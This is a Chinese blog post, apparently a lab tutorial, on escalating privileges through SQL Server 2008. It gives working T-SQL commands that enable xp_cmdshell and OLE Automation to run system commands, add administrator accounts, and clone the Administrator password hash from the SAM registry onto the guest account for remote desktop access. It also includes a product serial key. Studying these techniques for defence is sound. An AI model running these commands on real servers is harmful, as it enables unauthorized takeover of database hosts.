首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[WEB安全]MSSQL/SQL Server 提权手法详解

[WEB安全]MSSQL/SQL Server 提权手法详解

作者头像
李鹏华
发布2024-03-12 16:37:33
发布2024-03-12 16:37:33
1.8K0
举报
文章被收录于专栏:网络信息安全网络信息安全
SQL Server 提权手法详解

环境:Win10 、SQL Server 2008

一、SQL Server 的安装

介绍:

​ Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。

点击exe后,点击setup

点击“安装”,点击“全新安装或向现有安装添加功能”

确定

输入序列号PTTFM-X467G-P7RH2-3Q6CG-4DMYB

后续操作如下图

注意“全选”

点击“对所有SQL Server服务使用相同的账户”

NT AUTHORITY\SYSTEM

点击“添加当前用户”,会自动添加当前用户

点击“添加当前用户”,会自动添加当前用户

一直下一步,直至安装成功

二、SQL Server SA用户的添加

右键数据库,点击“属性”,然后点击确定

重启sql server 点击“安全性”“登录名”找到“SA”设置这个用户的密码

接着还在这个对话框中,我们点击左上角的第二个属性服务器角色(server roles),这里是你为添加该用户要实现哪些角色。一般我们自己使用都是配置最高权限的角色,一个是public ,还有一个是sysadmin。

接着我们还在这对话框,我们点击最后一个属性,也就是状态属性(Status),在这个状态栏中,我们只需要勾选上面一栏是否允许连接到数据库引擎(Permission to connect to database engine) 选择 grant(授予);

下面一栏:登录 选择启用(Enabled)。

添加好后,点击【确定】,再次来到数据库这边,我们右键数据库,重新启动(Restart),重新启动数据库服务,这样能够将我们刚才配置好的加载起来。重新启动完成之后,我们就可以使用sa用户登录了

之后在navicat中连接,输入数据如下

三、原理
代码语言:javascript
复制
		“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。

xp_cmdshell:

​ xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它

MSSQL的权限:

​ 在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比admin小;而在2003以上的版本,则为系统权限

初期流程:

1、获取SA密码

获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中

2、判断端口

通过端口扫描查看1433(mssql默认端口)是否对外开放。如果对外开放则使用sql连接器进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库

四、xp_cmd提权过程

目的:创建一个新的administrator用户

1、开始xp_cmd扩展功能

代码语言:javascript
复制
    use master;
    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'xp_cmdshell',1;
    reconfigure;
    
##1开启,0关闭,关闭时从xp_cmdshell  ---> options依次关闭

2、任意命令执行

代码语言:javascript
复制
use master;
exec master..xp_cmdshell "whoami";
代码语言:javascript
复制
use master;
exec master..xp_cmdshell "ipconfig";

3、添加用户

代码语言:javascript
复制
use master;
exec master..xp_cmdshell "net user 123 123/add";

4、添加用户到管理员组

代码语言:javascript
复制
use master;
exec master..xp_cmdshell "net localgroup administrators 123 /add";
五、OLE提权过程

首先还是xp_cmd,当xp_cmd被删除或出错的情况下,利用SP_OACreate

OLE 这系列的存储过程有

代码语言:javascript
复制
sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop

1、打开SP_OACreate选项

代码语言:javascript
复制
use master;
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

2、添加用户456

注意是没有回显的

代码语言:javascript
复制
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 456 456 /add'

3、添加用户456至管理员权限组

代码语言:javascript
复制
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 456/add'
六、xp_regread & xp_regwrite克隆账号

​ 利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。

1、获取administrator的加密密码

代码语言:javascript
复制
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F';

下图是navicat中的显示,并没有完全显示加密密码

下图是在靶机sql server中执行语句的结果

2、将加密密码赋值给guest账号

代码语言:javascript
复制
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x0300010000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF7F0000000000000000F40100000102000011020000000000000000000001000000000000004A010C00;

3、使用guest账号登录远程桌面管理

注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;

针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。

  1. guest账户需要被启用;
  2. guest 账户需要在“Remote Desktop Users”

解决如下:

代码语言:javascript
复制
exec master..xp_cmdshell 'net user guest /active:yes';

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add';
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SQL Server 提权手法详解
  • 一、SQL Server 的安装
  • 二、SQL Server SA用户的添加
  • 三、原理
  • 四、xp_cmd提权过程
  • 五、OLE提权过程
  • 六、xp_regread & xp_regwrite克隆账号
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档